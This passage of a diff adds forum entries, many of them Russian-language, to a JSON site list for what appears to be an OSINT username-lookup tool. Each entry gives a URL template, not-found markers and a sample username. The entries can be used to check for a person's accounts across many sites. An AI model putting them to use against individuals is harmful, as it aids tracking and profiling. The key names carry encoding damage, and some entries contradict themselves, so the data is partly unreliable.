"usernameON": "Reidtaub", + "bad_site": "" + }, + "Forum_musclemecca": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://musclemecca.com/members/?username={}", + "urlMain": "https://musclemecca.com", + "usernameON": "tkd", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_musflat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://musflat.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://musflat.kamrbb.ru", + "usernameON": "555serg2005", + "bad_site": "" + }, + "Forum_musik3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://musik3.ucoz.ru/index/8-0-{}", + "urlMain": "http://musik3.ucoz.ru/", + "usernameON": "Futbolki", + "bad_site": "" + }, + "Forum_muz-tv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://muz-tv-forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://muz-tv-forum.ucoz.ru", + "usernameON": "nadinvorobei", + "bad_site": "" + }, + "Forum_muzcom": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzcom.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzcom.kamrbb.ru", + "usernameON": "%CA%EE%ED%F0%E0%E4", + "bad_site": "" + }, + "Forum_muzlar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzlar.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzlar.kamrbb.ru", + "usernameON": "%F8%F3%EC%E8%EB%E8%ED", + "bad_site": "" + }, + "Forum_mxlinux": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.mxlinux.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.mxlinux.org", + "usernameON": "Stevo", + "bad_site": "" + }, + "Forum_mya": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.mya-uk.org.uk/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.mya-uk.org.uk", + "usernameON": "downbytheriver", + "bad_site": "" + }, + "Forum_myaudiq5": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myaudiq5.com/members/?username={}", + "urlMain": "https://www.myaudiq5.com", + "usernameON": "sargeq5", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mybb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.mybb.ru/search.php?action=search&keywords=&author={}", + "urlMain": "https://forum.mybb.ru", + "usernameON": "Deff", + "bad_site": "" + }, + "Forum_mybeautyconsultant": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mybeautyconsultant.net/forum/members/?username={}", + "urlMain": "https://mybeautyconsultant.net", + "usernameON": "blackcoffee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Mybirds": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, ", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.mybirds.ru/forums/search/?&q={}&type&quick=1&search_and_or=or&sortby=relevancy", + "urlMain": "https://www.mybirds.ru/", + "usernameON": "Tanban", + "bad_site": "" + }, + "Forum_mycity-military": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "tim imenom ne postoji ", + "errorMsg2": "MyCity Military", + "errorTyp��": "message", + "url": "https://www.mycity-military.com/Korisnik/{}/", + "urlMain": "https://www.mycity-military.com", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_mycoffee": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mycoffee.ucoz.ru/index/8-0-{}", + "urlMain": "https://mycoffee.ucoz.ru", + "usernameON": "Азазелло", + "bad_site": "" + }, + "Forum_mycoweb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://myfc.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfc.ucoz.ru", + "usernameON": "jag", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_myfriendsclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myfriendsclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfriendsclub.ucoz.ru", + "usernameON": "crasnovp1t", + "bad_site": "" + }, + "Forum_myfxbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.myfxbook.com/members/{}", + "urlMain": "https://www.myfxbook.com", + "usernameON": "esmumuex", + "bad_site": "" + }, + "Forum_mygolfspy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.mygolfspy.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.mygolfspy.com", + "usernameON": "bmdubya", + "bad_site": "" + }, + "Forum_myimmortal": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myimmortal.forum24.ru/?32-{}", + "urlMain": "https://myimmortal.forum24.ru", + "usernameON": "de3fmjhhfq", + "bad_site": "" + }, + "Forum_Myjane": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title> - Женские форумы myJane", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.myjane.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_mymbonline": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mymbonline.com/members/?username={}", + "urlMain": "https://www.mymbonline.com", + "usernameON": "odehboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mymoscow": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://myslonim.by/index/8-0-{}", + "urlMain": "http://myslonim.by", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_myst": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myst.ucoz.com/index/8-0-{}", + "urlMain": "https://myst.ucoz.com", + "usernameON": "vetal99977", + "bad_site": "" + }, + "Forum_mystic-school": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.mystic-school.ru/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "ivan", + "bad_site": "" + }, + "Forum_mysticalgarland": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mysticalgarland.at.ua/index/8-0-{}", + "urlMain": "https://mysticalgarland.at.ua", + "usernameON": "rusanov19110088", + "bad_site": "" + }, + "Forum_mysurvival": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mysurvivalforum.com/members/?username={}", + "urlMain": "https://mysurvivalforum.com", + "usernameON": "mekada", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_mytractor": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mytractorforum.com/members/?username={}", + "urlMain": "https://www.mytractorforum.com", + "usernameON": "fuzzy2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mytrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mytrans.3dn.ru/index/8-0-{}", + "urlMain": "https://mytrans.3dn.ru", + "usernameON": "kirilvoshnovskiy", + "bad_site": "" + }, + "Forum_myvisualdatabase": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users were", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myvisualdatabase.com/forum/userlist.php?username={}&show_group=-1&sort_by=username&sort_dir=ASC&search=Search", + "urlMain": "https://myvisualdatabase.com", + "usernameON": "DriveSoft", + "bad_site": "" + }, + "Forum_myword": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myword.borda.ru/?32-{}", + "urlMain": "https://myword.borda.ru", + "usernameON": "kaccob", + "bad_site": "" + }, + "Forum_myxlam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myxlam.clan.su/index/8-0-{}", + "urlMain": "https://myxlam.clan.su", + "usernameON": "nagimrasul", + "bad_site": "" + }, + "Forum_mzee": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mzee.com/forum/members/?username={}", + "urlMain": "https://www.mzee.com", + "usernameON": "eduardo", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_n2td": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.n2td.org/index.php?members/&username={}", + "urlMain": "https://forum.n2td.org", + "usernameON": "dylansmall", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nabran": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.nabran.ru/index/8-0-{}", + "urlMain": "http://www.nabran.ru/", + "usernameON": "ghgjjg", + "bad_site": "" + }, + "Forum_nada25": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nada25.ucoz.ru/index/8-0-{}", + "urlMain": "https://nada25.ucoz.ru", + "usernameON": "svn", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nag": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пожалуйста, подождите", + "errorMsg2": "| Cloudflare", + "errorMsg3": "0 результатов", + "errorTyp��": "message", + "url": "https://forum.nag.ru/index.php?/search/&q={}&start_after=any", + "urlMain": "https://forum.nag.ru", + "usernameON": "frol13", + "bad_site": "" + }, + "Forum_nameberry": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.nameberry.com/u/{}/summary", + "urlMain": "https://forum.nameberry.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Namepros": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.namepros.com/members/?username={}", + "urlMain": "https://www.namepros.com", + "usernameON": "velted", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_napolimagazine": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio", + "errorMsg2": "Al momento non ti", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.napolimagazine.info/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Cerca", + "urlMain": "https://www.napolimagazine.info/", + "usernameON": "pinos", + "bad_site": "" + }, + "Forum_narkomanija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.narkomanija.ba/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.narkomanija.ba", + "usernameON": "sanela", + "bad_site": "" + }, + "Forum_narutoshiprus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://narutoshiprus.ucoz.ru/index/8-0-{}", + "urlMain": "https://narutoshiprus.ucoz.ru", + "usernameON": "fint333", + "bad_site": "" + }, + "Forum_nash-dialog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nash-dialog.com/members/?username={}", + "urlMain": "https://nash-dialog.com", + "usernameON": "nuarr", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nashaplaneta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользоват", + "errorTyp��": "message", + "url": "https://nashaplaneta.net/forum/memberlist.php?username={}", + "urlMain": "https://nashaplaneta.net", + "usernameON": "nausla", + "bad_site": "" + }, + "Forum_nashausadba": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nashausadba.com.ua/forum/members/?username={}", + "urlMain": "https://nashausadba.com.ua", + "usernameON": "manana", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nashtransport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nashtransport.ru/search/?q={}&quick=1&type=blog_entry", + "urlMain": "https://www.nashtransport.ru", + "usernameON": "kventz", + "bad_site": "" + }, + "Forum_nationsglory": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Erreur", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Pseudo inexistant", + "errorTyp��": "message", + "url": "https://nationsglory.fr/profile/{}", + "urlMain": "https://nationsglory.fr", + "usernameON": "nimomoney", + "bad_site": "" + }, + "Forum_navi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://forum.navi.gg/search?query=&orderByType=relevance&user=+§ion=&calendarDate=", + "urlMain": "https://forum.navi.gg/", + "usernameON": "termenator46", + "bad_site": "" + }, + "Forum_navyclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://navyclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://navyclub.ucoz.ru", + "usernameON": "Delfa", + "bad_site": "" + }, + "Forum_naydemvam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://naydemvam.naydemvam.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://naydemvam.naydemvam.ru", + "usernameON": "Urri", + "bad_site": "" + }, + "Forum_nba777": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nba777.ucoz.ru/index/8-0-{}", + "urlMain": "https://nba777.ucoz.ru", + "usernameON": "JustinFem", + "bad_site": "" + }, + "Forum_nbcsportsedge": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nbcsportsedge.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nbcsportsedge.com", + "usernameON": "Jtraysfan", + "bad_site": 1 + }, + "Forum_Ne-kurim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ne-kurim.ru/members/?username={}", + "urlMain": "https://ne-kurim.ru/", + "usernameON": "gpp", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_necropolis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://necropolis.ucoz.ru/index/8-0-{}", + "urlMain": "https://necropolis.ucoz.ru", + "usernameON": "RuTOR", + "bad_site": "" + }, + "Forum_nedvizimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nedvizimost.ucoz.ru/index/8-0-{}", + "urlMain": "https://nedvizimost.ucoz.ru", + "usernameON": "natayovzhik", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nemodniy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "НЕМОДНЫЙ КЛУБ.", + "errorTyp��": "message", + "url": "http://forum.nemodniy.ru/member.php?username={}", + "urlMain": "http://forum.nemodniy.ru", + "usernameON": "MEDBEDb", + "comments": "bad", + "bad_site": 1 + }, + "Forum_neodni": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.my-neodni.ucoz.ru/index/8-0-{}", + "urlMain": "http://www.my-neodni.ucoz.ru", + "usernameON": "probe505", + "bad_site": "" + }, + "Forum_neptuneos": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.neptuneos.com/public/u/{}", + "urlMain": "https://forum.neptuneos.com", + "usernameON": "leszek", + "bad_site": "" + }, + "Forum_nerchinsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nerchinsk.ucoz.ru/index/8-0-{}", + "urlMain": "https://nerchinsk.ucoz.ru/", + "usernameON": "tarogadanie11", + "bad_site": "" + }, + "Forum_netbiz": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://netbiz.at.ua/index/8-0-{}", + "urlMain": "https://netbiz.at.ua/", + "usernameON": "tag", + "bad_site": 1, + "comments": "Oplata", + "exclusion": "\\W" + }, + "Forum_netcookingtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://netcookingtalk.com/forums/members/?username={}", + "urlMain": "https://netcookingtalk.com", + "usernameON": "rickismom", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_netdietam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://netdietam.ucoz.ru/index/8-0-{}", + "urlMain": "https://netdietam.ucoz.ru/", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_netduma": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.netduma.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.netduma.com", + "usernameON": "vpn", + "bad_site": "" + }, + "Forum_nettractortalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nettractortalk.com/forums/members/?username={}", + "urlMain": "https://www.nettractortalk.com/", + "usernameON": "chennaicontainers", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nevendaar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nevendaar.3dn.ru/index/8-0-{}", + "urlMain": "https://nevendaar.3dn.ru", + "usernameON": "Химера", + "bad_site": "" + }, + "Forum_neveroyatno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://neveroyatno.ucoz.ru/index/8-0-{}", + "urlMain": "https://neveroyatno.ucoz.ru", + "usernameON": "serko78", + "bad_site": "" + }, + "Forum_new-journals": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-journals.at.ua/index/8-0-{}", + "urlMain": "https://new-journals.at.ua", + "usernameON": "petrjarik77", + "bad_site": "" + }, + "Forum_new-nedvigimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-nedvigimost.moy.su/index/8-0-{}", + "urlMain": "https://new-nedvigimost.moy.su", + "usernameON": "olgapet946", + "bad_site": "" + }, + "Forum_newcok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newcok.ru/index/8-0-{}", + "urlMain": "http://newcok.ru/", + "usernameON": "Kass", + "bad_site": "" + }, + "Forum_newjerseyhunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newjerseyhunter.com/members/?username={}", + "urlMain": "https://www.newjerseyhunter.com", + "usernameON": "slayer1962", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newlcn": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Sorry, but that user does not exist.", + "errorMsg2": ">Information</td>", + "errorTyp��": "message", + "url": "http://forum.newlcn.com/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.newlcn.com", + "usernameON": "sckameikin22", + "bad_site": "" + }, + "Forum_newload_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newload.ucoz.ru/index/8-0-{}", + "urlMain": "https://newload.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_newnissanz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newnissanz.com/members/?username={}", + "urlMain": "https://www.newnissanz.com", + "usernameON": "speczracer", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newpower": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newpower.at.ua/index/8-0-{}", + "urlMain": "https://newpower.at.ua", + "usernameON": "kot358194", + "bad_site": "" + }, + "Forum_newros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newros.ru/index/8-0-{}", + "urlMain": "http://newros.ru", + "usernameON": "mrferos921", + "bad_site": "" + }, + "Forum_newschoolers": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "Sorry, we couldn't find anything that matched your search query.", + "errorTyp��": "message", + "url": "https://www.newschoolers.com/search?tab=members&s={}", + "urlMain": "https://www.newschoolers.com", + "usernameON": "skierman", + "bad_site": "" + }, + "Forum_nexgencheats": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nexgencheats.com/index.php?/search/&q={}&type=core_members", + "urlMain": "https://www.nexgencheats.com", + "usernameON": "ViraL", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_next-gazel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://next-gazel.ru/forum/member.php?username={}", + "urlMain": "https://next-gazel.ru", + "usernameON": "cmd368tv", + "bad_site": "" + }, + "Forum_nexusmods": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nexusmods.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nexusmods.com", + "usernameON": "EvilFixer", + "bad_site": "" + }, + "Forum_nf-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nf-club.ru/index/8-0-{}", + "urlMain": "http://nf-club.ru", + "usernameON": "SloNF", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_ngs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": " <div class=\"create-a-post actually-show-error", + "errorMsg2": "Результатов, соответствующих Вашему запросу, не найдено", + "errorTyp��": "message", + "url": "https://forum.ngs.ru/search/?words={}&forum=all&match=username&limit=25", + "urlMain": "https://forum.ngs.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_nicolaspark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nicolaspark.my1.ru/index/8-0-{}", + "urlMain": "https://nicolaspark.my1.ru", + "usernameON": "fox", + "bad_site": "" + }, + "Forum_niflheim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://niflheim.world/members/?username={}", + "urlMain": "https://niflheim.world", + "usernameON": "mouro3100", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_Night_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://night.kharkov.ua/index/8-0-{}", + "urlMain": "http://night.kharkov.ua", + "usernameON": "lauraao1", + "bad_site": "" + }, + "Forum_nikmc": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nikmc-i.ucoz.ru/index/8-0-{}", + "urlMain": "http://nikmc-i.ucoz.ru", + "usernameON": "zaiacsania", + "bad_site": "" + }, + "Forum_nikola": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": 